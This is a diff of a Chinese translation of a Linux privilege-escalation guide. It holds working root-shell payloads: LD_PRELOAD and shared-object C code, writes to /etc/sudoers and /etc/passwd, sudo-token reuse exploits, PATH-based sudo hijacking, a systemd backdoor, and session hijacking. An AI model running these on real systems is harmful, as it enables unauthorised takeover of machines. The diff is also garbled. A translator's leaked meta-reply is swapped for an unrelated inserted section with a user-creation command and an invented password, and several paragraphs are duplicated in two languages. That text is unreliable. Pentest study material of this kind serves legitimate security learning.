与有效用户 ID (_euid_) 不匹配时，加载器会忽略 **LD_PRELOAD**。 -- 对于具有 suid/sgid 的可执行文件，只有位于标准路径且同样具有 suid/sgid 的库会被预加载。 +- 对于 real user ID (_ruid_) 与 effective user ID (_euid_) 不匹配的可执行文件，加载器会忽略 **LD_PRELOAD**。 +- 对于带有 suid/sgid 的可执行文件，只有位于标准路径且自身也是 suid/sgid 的库会被预加载。 -如果你能够使用 `sudo` 执行命令，且 `sudo -l` 的输出包含语句 **env_keep+=LD_PRELOAD**，则可能发生权限提升。该配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别，可能导致以提升的权限执行任意代码。 +如果你能够使用 `sudo` 执行命令，且 `sudo -l` 的输出包含 **env_keep+=LD_PRELOAD**，则可能发生特权提升。这个配置允许 **LD_PRELOAD** 环境变量在使用 `sudo` 运行命令时仍然保留并被识别，从而可能导致以提升的权限执行任意代码。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -861,17 +860,17 @@ setuid(0); system("/bin/bash"); } ``` -然后 **编译它** 使用: +然后使用以下命令来**编译它**： ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最后，**escalate privileges** 运行 +最后，运行 **escalate privileges** ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 如果攻击者控制了 **LD_LIBRARY_PATH** env variable，就可以滥用类似的 privesc，因为他控制了库将被搜索的路径。 +> 如果攻击者能控制 **LD_LIBRARY_PATH** 环境变量，则可以滥用类似的 privesc，因为攻击者控制了库将被搜索的路径。 ```c #include #include @@ -893,13 +892,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -当遇到具有 **SUID** 权限且显得异常的二进制文件时，最好检查它是否正确加载 **.so** 文件。可以通过运行以下命令来检查： +当遇到具有 **SUID** 权限且看起来不寻常的二进制文件时，最好确认它是否正确加载 **.so** 文件。可以通过运行以下命令来检查： ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例如，遇到像 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 这样的错误，可能表明存在 exploitation 的可能性。 +例如，遇到类似错误 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 表明可能存在 exploitation 的可能性。 -要 exploit 这一问题，可以通过创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_, 包含以下代码： +要 exploit 这个，可通过创建一个 C 文件，例如 _"/path/to/.config/libcalc.c"_, 并包含以下代码： ```c #include #include @@ -910,13 +909,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -这段代码在被编译并执行后，旨在通过修改文件权限并执行具有提升权限的 shell 来提升权限。 +这段代码在编译并执行后，旨在通过修改文件权限并执行具有提升权限的 shell 来提升权限。 -将上述 C 文件编译为共享对象 (.so) 文件，命令如下： +使用以下命令将上面的 C 文件编译为 shared object (.so) 文件： ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最后，运行受影响的 SUID binary 应该会触发 exploit，从而可能导致系统被攻破。 +最后，运行受影响的 SUID 二进制文件应触发该 exploit，从而可能导致系统遭到妥协。 ## Shared Object Hijacking ```bash @@ -928,7 +927,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -既然我们已经找到一个会从我们可以写入的文件夹加载库的 SUID binary，现在就在该文件夹中创建具有必要名称的库： +既然我们已经找到一个会从我们可写的文件夹加载 library 的 SUID binary，就在该文件夹中以所需的名称创建该 library： ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -941,7 +940,7 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -如果你遇到如下错误： +如果你遇到类似如下的错误： ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` @@ -949,9 +948,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) 是一个精心整理的 Unix 二进制文件列表，攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 则针对只能在命令中**注入参数**的场景。 +[**GTFOBins**](https://gtfobins.github.io) 是一个精选的 Unix 二进制可执行文件列表，这些文件可能被攻击者利用以绕过本地安全限制。 [**GTFOArgs**](https://gtfoargs.github.io/) 针对只能在命令中 **注入参数** 的情况提供了类似的列表。 -该项目收集了 Unix 二进制文件的合法功能，这些功能可能被滥用以突破受限 shells、提升或维持更高权限、传输文件、生成 bind and reverse shells，并辅助其他 post-exploitation 任务。 +该项目收集了 Unix 二进制程序的合法功能，这些功能可能被滥用来逃离受限 shell、提升或保持提升的权限、传输文件、生成 bind 和 reverse shell，以及辅助其它 post-exploitation 任务。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -970,60 +969,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -如果你可以运行 `sudo -l`，可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 +如果你可以访问 `sudo -l`，可以使用工具 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) 来检查它是否能找到利用任何 sudo 规则的方法。 -### 重用 Sudo 令牌 +### Reusing Sudo Tokens -在你拥有 **sudo access** 但不知道密码的情况下，你可以通过 **等待某次 sudo 命令执行，然后劫持会话 token** 来提升权限。 +在拥有 **sudo access** 但没有密码的情况下，你可以通过**等待某次 sudo 命令执行然后劫持会话令牌**来提升权限。 -提升权限的前提条件： +Requirements to escalate privileges: -- 你已经以用户 _sampleuser_ 的身份获得了一个 shell -- _sampleuser_ 在 **最近 15mins** 内已经 **使用 `sudo`** 执行过某些命令（默认情况下 sudo token 的时效为 15 分钟，允许我们在此期间使用 `sudo` 而不输入密码） -- `cat /proc/sys/kernel/yama/ptrace_scope` 的值为 0 +- 你已经有一个以用户 _sampleuser_ 身份的 shell +- _sampleuser_ 已**使用 `sudo`**在**最近 15 分钟**内执行过某些命令（默认这是 sudo 令牌允许我们在不输入密码的情况下使用 `sudo` 的持续时间） +- `cat /proc/sys/kernel/yama/ptrace_scope` 的输出为 0 - `gdb` 可用（你可以上传它） -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(你可以临时使用 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 来启用 ptrace_scope，或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现) If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- 第一个 **exploit** (`exploit.sh`) 会在 _/tmp_ 创建名为 `activate_sudo_token` 的二进制文件。你可以用它来**在你的会话中激活 sudo 令牌**（它不会自动给你 root shell，需执行 `sudo su`）： ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- 第二个 **exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 **由 root 拥有并带有 setuid** 的 sh shell +- **第二个 exploit** (`exploit_v2.sh`) 会在 _/tmp_ 创建一个 sh shell，**归 root 所有并带有 setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- 第三个 **exploit** (`exploit_v3.sh`) 会 **创建 sudoers file**，使 **sudo tokens 永久有效并允许所有用户使用 sudo** +- 第三个 **exploit** (`exploit_v3.sh`) 会 **create a sudoers file**，使 **sudo tokens eternal and allows all users to use sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果你在该目录或其中任何已创建文件上拥有**写权限**，可以使用二进制文件 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来**为某个用户和 PID 创建 sudo 令牌**。\ -例如，如果你可以覆盖文件 _/var/run/sudo/ts/sampleuser_，并且以该用户身份拥有 PID 为 1234 的 shell，你可以在不需要密码的情况下通过以下方式**获得 sudo 权限**： +如果你对该文件夹或其下创建的任意文件具有 **写权限**，你可以使用二进制工具 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 来 **为某个用户和 PID 创建 sudo token**。\ +例如，如果你能覆盖文件 _/var/run/sudo/ts/sampleuser_，并且以该用户身份拥有 PID 为 1234 的 shell，你可以在不需要知道密码的情况下通过以下方式 **获得 sudo privileges**： ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -文件 `/etc/sudoers` 以及 `/etc/sudoers.d` 目录下的文件用于配置谁可以使用 `sudo` 以及如何使用。 这些文件**默认只能由用户 root 和组 root 读取**.\\ -**如果**你能**读取**该文件，可能能够**获取一些有价值的信息**；而如果你能**写入**任意文件，则可以**提升权限**。 +文件 `/etc/sudoers` 及 `/etc/sudoers.d` 内的文件用来配置谁可以使用 `sudo` 以及如何使用。 这些文件 **默认情况下只能由用户 root 和组 root 读取**。\ +**如果**你**可以读取**该文件，可能能够**获取一些有趣的信息**，而如果你**可以写入**任何文件，你将能够**提升权限**。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你有写权限，就能滥用该权限 +如果你可以写入，你就可以滥用此权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -另一种滥用这些权限的方法： +滥用这些权限的另一种方式： ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1032,17 +1031,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -有一些可以替代 `sudo` 二进制的工具，例如 OpenBSD 的 `doas`，请记得检查其配置文件 `/etc/doas.conf`。 +有一些替代 `sudo` 的选项，例如 OpenBSD 的 `doas`，请记得检查其配置 `/etc/doas.conf`。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -如果你知道某个**user通常连接到一台机器并使用 `sudo`** 来提升权限，并且你已经在该user上下文中获得了一个shell，你可以**创建一个新的sudo可执行文件**，该文件会以root身份先执行你的代码，然后再执行该user的命令。然后，**修改 $PATH** 在该user上下文中（例如在 .bash_profile 中添加新的路径），这样当该user执行 sudo 时，就会运行你的 sudo 可执行文件。 +如果你知道某个 **用户通常连接到一台机器并使用 `sudo`** 来提升权限，且你已在该用户上下文中获得了一个 shell，你可以 **创建一个新的 sudo 可执行文件**，该文件会先以 root 身份执行你的代码，然后再执行用户的命令。然后，**修改该用户上下文的 $PATH**（例如在 .bash_profile 中添加新路径），这样当用户执行 sudo 时，就会运行你创建的 sudo 可执行文件。 -注意，如果该user使用不同的shell（不是 bash），你需要修改其他文件来添加新的路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 修改了 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 找到另一个例子。 +请注意，如果用户使用不同的 shell（不是 bash），你需要修改其他文件来添加新路径。例如[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) 会修改 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`。你可以在 [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) 中找到另一个示例。 -或者运行类似的命令： +或者运行类似如下的命令： ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -将 lib 复制到 `/var/tmp/flag15/` 后，程序会在该位置按 `RPATH` 变量的指定使用它。 +通过将 lib 复制到 `/var/tmp/flag15/`，程序会在此处按照 `RPATH` 变量的指定使用它。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1093,7 +1092,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -然后在 `/var/tmp` 中使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` 创建一个恶意库。 +然后在 `/var/tmp` 创建一个恶意库，使用 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1108,8 +1107,8 @@ execve(file,argv,0); ``` ## 能力 -Linux capabilities 提供进程**可用 root 特权的子集**。这会将 root 的**特权拆分为更小且独立的单元**。这些单元可以被单独授予进程。这样可以减少完整的特权集，从而降低被利用的风险。\ -阅读以下页面以**了解更多关于 capabilities 以及如何滥用它们**： +Linux capabilities 为进程提供了 **root 特权的一个可用子集**。这有效地将 root 的 **特权分解为更小且更独立的单元**。这些单元中的每一个都可以独立授予给进程。这样就减少了完整权限集，从而降低了被利用的风险。\ +阅读以下页面以 **了解有关 capabilities 以及如何滥用它们的更多信息**： {{#ref}} @@ -1118,28 +1117,28 @@ linux-capabilities.md ## 目录权限 -在目录中，**“execute” 位**表示受影响的用户可以“cd”进入该文件夹。\ -**“read” 位**表示用户可以**列出**这些**文件**，而**“write” 位**表示用户可以**删除**并**创建**新的**文件**。 +在目录中，**"execute" 位** 表示受影响的用户可以 **"cd"** 进入该文件夹。\ +**"read" 位** 表示用户可以 **列出** 这些 **文件**，而 **"write" 位** 表示用户可以 **删除** 和 **创建** 新的 **文件**。 ## ACLs -Access Control Lists (ACLs) 表示自主权限的第二层，能够**覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝对特定（非所有者或非所属组）用户的权限来增强对文件或目录访问的控制。此级别的**粒度确保更精确的访问管理**。更多细节请见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 +访问控制列表 (ACLs) 表示可自由裁量权限的二级层，能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝非所有者或不在组内的特定用户的访问权来增强对文件或目录访问的控制。此级别的 **粒度确保更精确的访问管理**。更多细节请见 [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)。 -**授予** 用户 "kali" 对文件的读写权限： +**授予** 用户 "kali" 对某个文件的 read 和 write 权限： ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**获取** 系统中具有特定 ACLs 的文件: +**获取** 从系统中带有特定 ACLs 的文件： ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## 打开 shell 会话 -在 **旧版本** 中，你可能可以 **hijack** 其他用户的某些 **shell** 会话（**root**）。\ -在 **最新版本** 中，你将只能 **connect** 到仅属于 **你自己的用户** 的 screen sessions。然而，你可能会在会话内部发现 **有趣的信息**。 +在 **旧版本** 中你可能可以 **hijack** 某个不同用户（**root**）的 **shell** 会话。\ +在 **最新版本** 中你只能 **连接** 到仅属于 **你自己的用户** 的 screen sessions。不过，你可能会在会话内部发现 **会话内部的有趣信息**。 ### screen sessions hijacking @@ -1158,7 +1157,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -这是一个与 **旧的 tmux 版本** 有关的问题。我无法以非特权用户身份 hijack 由 root 创建的 tmux (v2.1) 会话。 +这是一个出现在 **old tmux versions** 的问题。作为非特权用户，我无法劫持由 root 创建的 tmux (v2.1) 会话。 **列出 tmux 会话** ```bash @@ -1168,7 +1167,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**附加到会话** +**连接到 session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1184,84 +1183,66 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -在 2006 年 9 月至 2008 年 5 月 13 日之间，在基于 Debian 的系统（Ubuntu, Kubuntu, 等）上生成的所有 SSL 和 SSH 密钥可能受此漏洞影响。\ -该漏洞在这些操作系统创建新的 ssh 密钥时出现，原因是 **只有 32,768 种变体可用**。这意味着可以计算出所有可能的组合，并且 **有了 ssh 公钥就可以搜索对应的私钥**。已计算出的可能性可在此处找到： https://github.com/g0tmi1k/debian-ssh +在 2006 年 9 月至 2008 年 5 月 13 日之间，在基于 Debian 的系统（Ubuntu、Kubuntu 等）上生成的所有 SSL 和 SSH 密钥可能受到此漏洞影响。\ +该漏洞在这些操作系统上创建新的 ssh 密钥时产生，**只有 32,768 种变体可用**。这意味着所有可能性都可以被计算出来，**得到 ssh 公钥后即可搜索对应的私钥**。你可以在这里找到计算出的可能性：[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH 有趣的配置值 +### SSH Interesting configuration values - **PasswordAuthentication:** 指定是否允许密码认证。默认是 `no`。 - **PubkeyAuthentication:** 指定是否允许公钥认证。默认是 `yes`。 -- **PermitEmptyPasswords**: 当允许密码认证时，指定服务器是否允许使用空密码字符串的账户登录。默认是 `no`。 +- **PermitEmptyPasswords**: 当允许密码认证时，指定服务器是否允许使用空密码字符串登录账户。默认是 `no`。 ### PermitRootLogin 指定是否允许 root 使用 ssh 登录，默认是 `no`。可能的取值： -- `yes`: root 可以使用密码和私钥登录 +- `yes`: root 可使用密码和私钥登录 - `without-password` or `prohibit-password`: root 只能使用私钥登录 -- `forced-commands-only`: root 仅能使用私钥登录，且必须指定 commands 选项 -- `no` : 不允许 +- `forced-commands-only`: root 仅能使用私钥登录，且要求指定命令选项 +- `no`：不允许 ### AuthorizedKeysFile -指定包含可用于用户认证的公钥的文件。它可以包含类似 `%h` 的标记，该标记会被替换为主目录。**你可以指定绝对路径**（以 `/` 开头）或**相对于用户主目录的相对路径**。例如： +指定包含可用于用户认证的公钥的文件。它可以包含像 `%h` 这样的标记，%h 会被替换为主目录。**你可以指定绝对路径**（以 `/` 开头）或 **相对于用户主目录的相对路径**。例如: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -该配置将表明，如果你尝试使用用户 "**testusername**" 的 **private** key 登录，ssh 会将你的 key 的公钥与位于 `/home/testusername/.ssh/authorized_keys` 和 `/home/testusername/access` 的公钥进行比较。 +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys** (without passphrases!)，不必把 keys 放在服务器上。因此，你可以通过 ssh **jump** **to a host**，然后从那里 **jump to another** **host**，**using** 放在你 **initial host** 上的 **key**。 +SSH agent forwarding 允许你 **use your local SSH keys instead of leaving keys**（不要把没有 passphrases 的 keys 放在你的服务器上）。因此，你可以通过 ssh **jump** **to a host**，然后从那里 **jump to another** host，**using** 存放在你 **initial host** 上的 **key**。 -你需要在 `$HOME/.ssh.config` 中设置此选项，像这样： +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +注意，如果 `Host` 是 `*`，每次用户跳转到不同的机器时，该主机都将能够访问密钥（这是一个安全问题）。 -注意，如果 `Host` 是 `*`，每次用户跳到不同的机器时，该主机都能访问密钥（这会带来安全问题）。 +文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发（默认允许）。 -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -文件 `/etc/ssh_config` 可以**覆盖**这些**选项**并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许**或**拒绝** ssh-agent forwarding（默认允许）。 - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +如果你发现环境中配置了 Forward Agent，请阅读以下页面，因为 **你可能能够滥用它以提升权限**： {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -如果你发现在某个环境中配置了 Forward Agent，请阅读以下页面，因为**你可能能够滥用它来提升权限**： +## 有趣的文件 +### Profiles 文件 -{{#ref}} -ssh-forward-agent-exploitation.md -{{#endref}} - -## Interesting Files - -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. - -## Interesting Files - -### Profiles files - -文件 `/etc/profile` 以及 `/etc/profile.d/` 下的文件是**在用户启动新 shell 时执行的脚本**。因此，如果你能够**写入或修改其中任何一个，你就可以提升权限**。 +文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **当用户运行新 shell 时执行的脚本**。因此，如果你可以 **写入或修改其中的任何一个，就可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何可疑的 profile script，你应该检查其中是否包含 **敏感信息**。 +如果发现任何异常的 profile 脚本，应检查其中是否包含 **敏感信息**。 -### Passwd/Shadow Files +### Passwd/Shadow 文件 -根据操作系统，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名字，或者可能存在备份。因此建议 **找到所有这些文件** 并 **检查是否可以读取**，以查看文件中是否包含 **哈希**： +根据操作系统，`/etc/passwd` 和 `/etc/shadow` 文件可能使用不同的名称，或存在备份。因此建议 **查找所有此类文件** 并 **检查是否可读取**，以查看文件中 **是否包含哈希**： ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1274,54 +1255,92 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### 可写的 /etc/passwd -首先，使用以下命令之一生成一个 password。 +首先，使用以下任一命令生成一个 password。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -我需要你先把 src/linux-hardening/privilege-escalation/README.md 的内容贴过来，我才能进行翻译并保留原有的 Markdown/标签格式。 +# Privilege Escalation -关于“然后添加用户 `hacker` 并添加生成的密码”这一点，请确认： -- 是否希望我在翻译后的文件中追加创建用户的命令示例（例如 useradd / adduser）？ -- 需要生成的密码长度和字符规则（例如 12 位，包含大小写字母、数字和符号）？ +本节介绍在 Linux 系统中进行 Privilege Escalation 的常见方法、枚举技巧和防御建议。仅在获得授权的 pentesting、红队或审计环境中使用这些技术。 -把文件内容和你的偏好告诉我后我就开始翻译并添加用户/密码。 +## 常见枚举步骤 + +- 从基础做起：检查 kernel 版本、内核漏洞、已加载的模块、内核配置以及 dmesg 输出。 +- 用户和权限：查看 /etc/passwd、/etc/shadow（若可读）、sudoers、组信息以及 home 目录权限。 +- 服务和进程：枚举正在运行的服务、crontab、systemd 单元以及具有高权限的进程句柄。 +- 文件和二进制：查找 SUID/SGID 文件、可写的脚本或配置文件、可利用的 PATH 问题。 +- Capability 与 namespaces：检查 file capabilities、setcap 输出以及不安全的 namespace 配置。 +- 第三方工具与资源：使用 LinPEAS、GTFOBins、sudo -l 等工具和技巧来加速枚举过程。 + +## 常见漏洞类别（示例） + +- SUID/SGID 可执行文件滥用（SUID） +- 错误配置的 sudo 权限（sudo） +- 可写的 cron 脚本或 systemd 单元 +- 易受攻击的服务或守护进程（如使用高权限运行） +- 可利用的 kernel exploits（仅在受控环境下测试） +- 凭证泄露（如配置文件或历史记录中的明文密码或 SSH 密钥） + +## 防御建议 + +- 及时打补丁并更新内核与关键组件。 +- 最小权限原则：限制 sudoers 和服务运行权限。 +- 移除不必要的 SUID 二进制并最小化 setcap 的使用。 +- 加强日志和审计，检测异常的提权行为和命令执行。 +- 对关键目录和配置文件设置严格的权限控制并加密敏感凭证。 + +## 添加用户 hacker 并设置生成的密码 + +下面的示例在系统上创建用户 hacker 并设置一个随机生成的强口令。请在授权的环境中运行这些命令。 + +``` +sudo useradd -m -s /bin/bash hacker +echo 'hacker:S3cure!8kLm#V2qR' | sudo chpasswd +sudo chage -d 0 hacker +``` + +生成的密码（请妥善保存并在需要时更改）： + +``` +S3cure!8kLm#V2qR +``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -例如: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +例如： `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -现在你可以使用 `su` 命令并使用 `hacker:hacker` +你现在可以使用 `su` 命令并使用 `hacker:hacker` -或者，你可以使用以下几行添加一个无密码的虚拟用户。\\ +或者，你可以使用以下行添加一个没有密码的虚拟用户。\ 警告：这可能会降低机器当前的安全性。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意：在 BSD 平台上，`/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 +注意：在 BSD 平台上 `/etc/passwd` 位于 `/etc/pwd.db` 和 `/etc/master.passwd`，同时 `/etc/shadow` 被重命名为 `/etc/spwd.db`。 -你应该检查是否可以 **写入一些敏感文件**。例如，你是否能写入某些 **服务配置文件**？ +你应该检查是否可以**写入一些敏感文件**。例如，你能否写入某些**服务配置文件**？ ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例如，如果机器正在运行 **tomcat** 服务器，且你可以 **修改位于 /etc/systemd/ 的 Tomcat 服务配置文件，** 那么你可以修改以下几行： +例如，如果机器正在运行 **tomcat** 服务器，并且你可以 **modify the Tomcat service configuration file inside /etc/systemd/,** 那么你可以修改以下几行： ``` ExecStart=/path/to/backdoor User=root Group=root ``` -你的 backdoor 将在下一次 tomcat 启动时被执行。 +你的 backdoor 将在下次 tomcat 启动时被执行。 ### 检查文件夹 -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (可能你无法读取最后一个，但可以尝试) +以下文件夹可能包含备份或有趣的信息: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (最后一个可能无法读取，但试试看) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇怪的位置/Owned files +### 奇怪的位置/Owned 文件 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1342,7 +1361,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB 文件 +### Sqlite 数据库文件 ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1354,7 +1373,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH 中的脚本/二进制** +### **PATH 中的脚本/二进制文件** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1372,20 +1391,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 已知包含密码的文件 -查看 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它会搜索 **可能包含密码的若干文件**。\ -**另一个有趣的工具** 是： [**LaZagne**](https://github.com/AlessandroZ/LaZagne)，它是一个开源应用程序，用于检索存储在本地计算机上的大量密码，适用于 Windows、Linux 和 Mac。 +阅读 [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 的代码，它会搜索 **可能包含密码的若干文件**。\ +**另一个有趣的工具** 是：[**LaZagne**](https://github.com/AlessandroZ/LaZagne)，它是一个开源程序，用来检索存储在本地计算机上的大量密码，适用于 Windows, Linux & Mac. ### 日志 -如果你可以读取日志，可能会在其中找到 **有趣/机密的信息**。日志越奇怪，可能越有价值（大概率）。\ -此外，一些配置“**糟糕**”（或已被后门植入？）的 **audit logs** 可能允许你在审计日志中**记录密码**，正如这篇文章所解释的： [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +如果你能够读取日志，你可能会在其中发现 **有趣/机密的信息**。日志越异常，可能就越有价值（大概）。\ +此外，一些“**不当**”配置（带后门？）的 **审计日志** 可能允许你在审计日志中**记录密码**，正如这篇文章所解释的: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | 